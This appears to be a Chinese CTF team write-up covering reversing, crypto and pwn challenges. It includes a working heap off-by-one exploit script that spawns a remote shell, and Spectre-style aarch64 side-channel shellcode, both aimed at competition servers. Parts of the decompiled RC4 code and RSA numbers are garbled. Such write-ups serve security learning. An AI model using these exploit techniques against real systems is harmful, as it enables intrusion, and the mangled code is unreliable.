哪有什么战队_从来都是一个人_WP

0x01 签到题

公众号拿flag

0x02 mips

比较明显的迷宫，3为当前位置，1为路线，4为终点，wasd控制方向，需要走三次
dump出迷宫直接人工走即可

```
In [1]: s="s"*7+"d"*7+"s"
In [2]: s+="s"*10+"d"*10+"s"
In [3]: s+="ddssddwddsssssssddddssssddddss"
In [4]: import hashlib
In [5]: print hashlib.md5(s).hexdigest()
999ea6aa6c365ab43eec2a0f0e5968d5
```

flag{999ea6aa6c365ab43eec2a0f0e5968d5}

0x03 PYPY

直接运行发现：

```
$ ./main.dat
[33424] Error loading Python lib '/tmp/_MEIf609pp/libpython3.8.so.1.0':
dlopen: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.29' not found
(required by /tmp/_MEIf609pp/libpython3.8.so.1.0)
```

搜索错误，发现是：python3.8+pyinstaller
使用

```
https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries
```

dump出pyc:

```
$ objcopy --dump-section pydata=pydata.dump ./main.dat
$ python3 pyinstxtractor.py ./pydata.dump [+] Processing ./pydata.dump
[+] Pyinstaller version: 2.1+
[+] Python version: 38
```

```
[+] Length of package: 15552986 bytes
[+] Found 100 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: main.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ./pydata.dump
You can now use a python decompiler on the pyc files within the extracted directory
```

试了一下，uncompyle6可以直接decode pyc
rc4,直接原函数decode即可：

```
# -*- coding: UTF-8 -*-
import random, codecs, sys, time
DEFAULT_KEY = 'Yó\x02Ã%\x9a\x820\x0b»%\x7f~;ÒÜ'
def rc4(O0000000000OOOOO0, key=DEFAULT_KEY, skip=1024):
    O00000000000000O0 = 0
    O00000000000000OO = bytearray([O0000000000000000 for O0000000000000000 in range(256)])
    O00000000000000O0 = 0
    for O0000000000000000 in range(256):
        O00000000000000O0 = (O00000000000000O0 + OO00000000000000O[O0000000000000000] + ord(key[(O0000000000000000 % len(key))])) % 256
        O00000000000000OO = OO00000000000000OO[O0000000000000000]
        O00000000000000O0 = OO00000000000000OO[O00000000000000O0]
        OO00000000000000OO[O0000000000000000] = OO00000000000000OO[O00000000000000O0]
        OO00000000000000OO[O00000000000000O0] = OO00000000000000O0
    else:
        O00000000000000O0 = 0
        O000000000000000O = 0
        O000000000000000O = []
        if skip > 0:
            for O0000000000000000 in range(skip):
                O00000000000000O0 = (O00000000000000O0 + 1) % 256
                O000000000000000O = (O000000000000000O + OO00000000000000O[O00000000000000O0]) % 256
                OO00000000000000O[O00000000000000O0], OO00000000000000O[O000000000000000O] = OO00000000000000O[O000000000000000O], OO00000000000000O[O00000000000000O0]
```

```
        for O0000000000000000 in O0000000000000000:
            O0000000000000000 = (O0000000000000000 + 1) % 256
            O0000000000000000 = (O0000000000000000 + O0000000000000000[O0000000000000000]) % 256
            O0000000000000000[O0000000000000000], O0000000000000000[O0000000000000000] = O0000000000000000[O0000000000000000], O0000000000000000[O0000000000000000]
            O0000000000000000 = O0000000000000000[((O0000000000000000[O0000000000000000] + O0000000000000000[O0000000000000000]) % 256)]
            O0000000000000000.append(chr(ord(O0000000000000000) ^ O0000000000000000))
        else:
            return ''.join(O0000000000000000)
def func(O0000000000000000):
    O0000000000000000 = rc4(O0000000000000000)
    if O0000000000000000.encode('utf-8').hex() == '275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0':
        return 'YOU WIN'
    return 'YOU LOSE'
print(rc4(bytes.fromhex("275b39c381c28b701ac3972338456022c2ba06c3b04f5501471c47c38ac380c29b72c3b5c38a7ec2a5c2a0"
).decode('utf-8')))
#flag{snake_bao_is_really_lucky}
```

0x04 backpack

LLL算法求最短向量后还原信息即可

得到nonce1，nonce2后即得flag

```
>>> from hashlib import *
>>> from Crypto.Util.number import *
>>> m1='000001101110011110110110101111011010111011101101110011001101111010010000000001110011100110101011100'
>>> m2='1111100100011000010010010100001001010001000100100011001100100001011011111111100011000110010101000111'
>>> m1=long_to_bytes(int(m1,2))
>>> m1
b'n{k\xda\xee\xdc\xcd\xe9\x00s\x9a\xb8'
>>> m2=long_to_bytes(int(m2,2))
>>> m2
b'\x0f\x91\x84\x94%\x11#2\x16\xff\x8ceG'
>>> m3='1011011000111101011011101100001010000010111001111001100111000100001110010001011011001110011000100011011011100101010110111100000110111110110111110100101101010101000100010001011101010000111010111100000000011000101111101011110010011110110001101101111000111110100001101010010011011101010000000110110111111001001010101010111111'
>>> m4='0100100111000010100100010011110101111101000110000110011000111011110001101110100100110001100111011100100100011010101001000011111001000000100100000101101001010101011101110111010001010111100010100001111111110011101000000101000011011000010011100100100001110000001011110010101101100100010101111111001001000000110110101010101000000'
>>> m3=long_to_bytes(int(m3,2))
>>> m4=long_to_bytes(int(m4,2))
>>> flag = "flag{" + sha256(m1).hexdigest()[:16] + md5(m3).hexdigest()[:16] + "}"
>>> flag
'flag{6a18a0376ccd7852a261c517a020560c}'
```

0x05 RRSSAA

RSA套娃

```
from Crypto.Util.number import *
from gmpy2 import *
import os
n1 = 
72968331464378596578736213097836639538889759902365332315018563128110329234
```

```
6983402889499588876388282728088114891471499108448817328985994157725299932
5992095319128544723262119362648159655825918097703197797125275721741525608 1
9828597241583278731544411246154674514626001858732363262751244419415544407 6
5387385830915413244026288884160049888510545158603015678 7
os =
2966384769329081457959929210854946307725303451729041111756565081822209869 7
0673484707740406383745454823809622784338145884232203511605993554578937038 8
7679991323472222813769314786650 79
n2 =
8799438599707547810413590252769637047669730373282934937368515093438977181 2
0008005794897799885973777581553570321196624857866944730837017132388177661 1
0307526481354801968791624978964643229368334587752275506234350005276147810 5
5524145936353357662536280470664112516976033358499330391929435857811788923 5
9066678309001662861993696836730995575917241225997018915836266196 9
n3 =
2450273093965540729254343689738219629751666422727332060239790687869672337 2
2428777765504465639508676248193528531220331147117321254335887247798699854 7
7495098802744344448915032607469954642257825855931872281908232331623829725 0
4303180053573943213394860744836264120403454658144490440875489203711003120 2
5734633992016258120056152646898775372319740238700067921969618291620584466 6
2172634212427186470724599941352830546043772969297733239518604749366684163 8
1379599962578493137511013780514333732 9
c3 =
2385064917660948806957457681641614888669217960607006360543268900921017481 2
4549856326399141091860489131438481053343925381452306716863676897622005902 8
1089005923231195246579033646977003291454535177690932650527152046258702322 8
8203427545150983037310876534801548309890853026234248412421497939811385725 6
4249210426295405967779353870760420517934488414265684289556779500064783746 1
8351793957423993726834602082713108846572798935325391218935581430299337949 0
5470899127632780110459122203796256514 10
m =
8122573882816664059905415402318346587067896090676967360535808452919687117 4
4294279365918225899954765520442277308688093109929341037318505973991142467 6
2836121101348301079296663951503688072299542357013093324718850936925265954 2
0497363447083618773382818931255381981047040524666912417117807048511843610 2
895117354417 11
magic =
2223858574968933504319836040365324804971094330459462393944127171432282147 6
0472989770434542905920858097005005995200801077368584239270718367584855272 7
0617538166045213386679961664240306883126224169183649140929168343634245637 5
7848785094598668876885795408211613686469658206698800530604510586036849762 6
8226664336788796983446190562735268377006983153469724234827133055433941109 4
9178233504551465821354514535155389087138867576532139739270960823294873497 8
2504096386275177291408774183140395190 1
p = gcd(m**7 - magic, n3) 13
q = n3//p 15
phi3 = (p-1)*(q-1) 17
for i in range(1024): 19
    if isPrime(i): 20
```

```
        if(gcd(i, p-1) == 1):
            sinv = invert(i, p-1)
            e = 4*i*sinv+3
            if(gcd(phi3, e) == 1) and pow(m, e, n3) == magic:
                print e
e = 12384190936112845844322324928725718098687754832973153782371440637763223954660163376160801730552543302364965225321730703720886202083107309525500846264215867190687872031205077617783421372602495113077750991809916678661773940492413791518681543351943
d = inverse(e, phi3)
c2 = pow(c3, d, n3)
tmp1=iroot(n2,2)[0]
tmp2=n2-tmp1**2
while 1:
    tmp = iroot(tmp2,2)
    if tmp[1]:
  print gcd(os,tmp1-int(tmp[0]))
  break
    tmp1=tmp1+1
    tmp2=tmp1**2-n2
i_e = 65537
o = 167641167028504892594283115917889050030593442082118764505058160899754834973209119418562695 1
s = os//o
t = next_prime(o)
u = next_prime(s)
phi = (o-1)*(s-1)*(t-1)*(u-1)
c1 = pow(c2, inverse(i_e, phi), n2)
print c1
x = 153247586255916788808944971709848686856483733816978136694260373538911394056785498120296 3 # online
y = 321819931137425256498784440590682242398615841015654087057946784431713927519249546052625 93
z = 147954382967567334495825602333272303008663091186081473946510299621489456700250380306480186540635099296785300254866723827737503644593230916778129860327016484257850428720933989793
phi = (x-1)*(y-1)*(z-1)
flag = pow(c1, inverse(i_e, phi), n1)
print hex(flag)[2:].decode("hex")
#flag{4c2fd4e6-44de-445f-8c34-1235464de2de}
```

0x06 honorbook

libc-2.27

off-by-one

```
from pwn import *
import sys
context.log_level="debug"
if len(sys.argv)>=2:
   p=process(["./qemu-riscv64","-L","./libs/","./honorbook"])
else:
      p=process(["./qemu-riscv64","-g","1234","-
L","./libs/","./honorbook"])
def cmd(note):
    p.sendlineafter(": ",str(note))
def cmd2(note):
    p.sendafter(": ",str(note))
def add(index,name,msg):
   cmd(1)
   cmd(index)
   cmd2(name)
   cmd2(msg)
def delete(index):
   cmd(2)
   cmd(index)
def show(index):
   cmd(3)
   cmd(index)
def edit(index):
   cmd(4)
   cmd(index)
   cmd2(msg)
p=remote("121.36.192.114",9999)
for i in range(8):
  add(i,"aaaaaaaa","aaaa\n")
for i in range(8):
   delete(7-i)
for i in range(8):
  add(i,"aaaaaaaa","aaaaaaa\n")
show(7)
p.recvuntil("Msg: "+"a"*7+"\n")
libc=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))+0x4000000000-
0x40016139f8+0x400150c000
print hex(libc)
delete(0)
delete(7)
add(0,"11111","2"*0xe8+"\xf1")
add(7,"11111","a"*11*8*2+p64(0)+p64(0x31)+"\n")
delete(7)
add(7,"11111","3"*0x28+p64(0xf1)+p64(libc+0x0109838-8)+"\n")
add(8,"11111","3"*0x28+"\n")
add(9,"11111","/bin/sh\x00"+p64(libc+0x388fe)+"\n")
```

```
delete(9)
p.interactive()
```

0x07 spec

预期应该是meltdown/spec
测试远程时候发现counter误差太大，不足以侧信道，感觉是shellcode运行下和直接运行/远程条件下有什么玄学，只能盲测远程，不断调节exp
不过测试可读字符，偶然发现改成多线程后mprotect并没有开启，最后非预期直接读拿到flag

```
from pwn import *
import sys
import hashlib
import string
context.log_level="debug"
if len(sys.argv)>=2:
   p=process(["qemu-aarch64","-L","./","./spec"])
else:
      p=process(["qemu-aarch64","-g","1234","-L","./","./spec"])
os.system("aarch64-linux-gnu-gcc-8 ./1.c  -fno-stack-protector  -no-pie -std=gnu99")
key = string.digits+string.letters
def get():
   global p
   p.recvuntil("md5(")
   s1=p.recv(10)
   print s1
   for i in key:
         print i
         for j in key:
            for k in key:
                for q in key:
                       tmp=i+j+k+q
                       if hashlib.md5(s1+tmp).hexdigest().startswith("000000"):
                              p.sendlineafter(")",tmp)
                              return 0
p=remote("139.159.190.149",11001)
get()
e=ELF("./a.out")
start=e.symbols['flush']
end=e.symbols['main']
magic=e.symbols['kirin']
shellcode=p32((magic-start+4)/4)[:3]+"\x14"
f=open("./a.out","rb")
s=f.read()
f.close()
shellcode+=s[start-0x400000:end-0x400000+1]
```

```
#shellcode="\x20\x00\x80\xd2\x42\x01\x80\xd2\x08\x08\x80\xd2\x01\x00\x00\xd4"
l=len(shellcode)
p.sendafter("give me the shellcode\n",p32(l))
#pause()
p.send(shellcode.ljust(l,"\x00"))
p.interactive()
```

这个exp盲测远程，不断微调修改之后，spec触发已经不稳定了(感觉改出bug了)
非预期部分只是在do_write部分

```
#include<stdint.h>
#include<stddef.h>
static inline void flush(void *addr) {
  asm volatile ("DC CIVAC, %[ad]" : : [ad] "r" (addr));
  asm volatile("DSB SY");
}
static inline void do_write(void *addr) {
  asm volatile ("ADD  X1,X0,0");
  asm volatile ("MOV  X0,1");
  asm volatile ("mov  x2,18");
  asm volatile ("MOV  X8,0x40");
  asm volatile ("SVC  0");
}
static uint64_t timed_read(volatile uint8_t *addr) {
  volatile uint64_t* magic=0x4200C0;
  uint64_t ns = *magic;
  asm volatile (
    "DSB SY\n"
    "LDR X5, [%[ad]]\n"
    "DSB SY\n"
    : : [ad] "r" (addr) : "x5");
  return *magic - ns;
}
uint64_t measure_latency(uint8_t* map2) {
  uint64_t ns;
  uint64_t min = 0xFFFFF;
  for (int r = 0; r < 300; r++) {
    flush(&map2[0]);
    ns = timed_read(&map2[0]);
    if (ns < min && ns !=0) min = ns;
  }
  return min;
}
void victim_function(size_t x,uint8_t temp,uint8_t* map1,uint8_t *map2,unsigned int map2_size) {
  if (x < map2_size)
  {
    temp &= map1[map2[x] * 512];
  }
```

```
}
void kirin(uint8_t *map1,uint8_t *map2){//to get map2
  uint64_t miss_min = measure_latency(map2);
  miss_min -= 1;
  //map2[0x1000]=0x31;
  size_t malicious_x = 0x1000;
  int *results=0x4200C8;
  int i,try_times,j,mix_i,k;;
  uint8_t temp=0;
  uint8_t final;
  unsigned int map2_size=16;
  size_t training_x,x;
  register uint64_t time2;
  volatile uint8_t* addr;
  for(i=0;i<256*512;i++)
     map1[i]=1;
  for(int i=0;i<256;i++)
    results[i]=0;
  for(try_times=999;try_times>0;try_times--){
    for(i=0;i<256;i++)
       flush(&map1[i*512]);
    training_x = try_times % map2_size;
    for(j=29;j>=0;j--){
      flush(&map2_size);
      for(volatile int z=0;z<256;z++){flush(&map1[z*512]);}
      x=((j%6)-1) & ~0xFFFF;
      x=(x|(x>>16));
      x=training_x^(x&(malicious_x^training_x));
      victim_function(x,temp,map1,map2,map2_size);
    }
    //do_write(map1);
    for (i = 0; i < 256; i++)
    {
      mix_i = ((i * 167) + 13) & 255;
      time2 = timed_read(&map1[mix_i * 512]);
      if (time2 <= miss_min && mix_i != map2[try_times % map2_size])
            results[mix_i]++;
    }
    j = k = -1;
    for (i = 0; i < 256; i++)
    {
      if (j < 0 || results[i] >= results[j])
        {
          k = j;
          j = i;
        }
      else if (k < 0 || results[i] >= results[k])
        {
          k = i;
```

```
        }
    }
    if (j == 0)
       continue;
    //do_write(&j);
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 &&
results[k] == 0))
        break;
    //j=0xdd;
  }
  map1[0]=(uint8_t)j;
  map1[1]=(uint8_t)k;
  do_write(map2+0x1000);
  do_write(&miss_min);
  //do_write(&results[k]);
}
int main(){
  uint8_t map1[10],map2[10];
  kirin(map1,map2);
}
```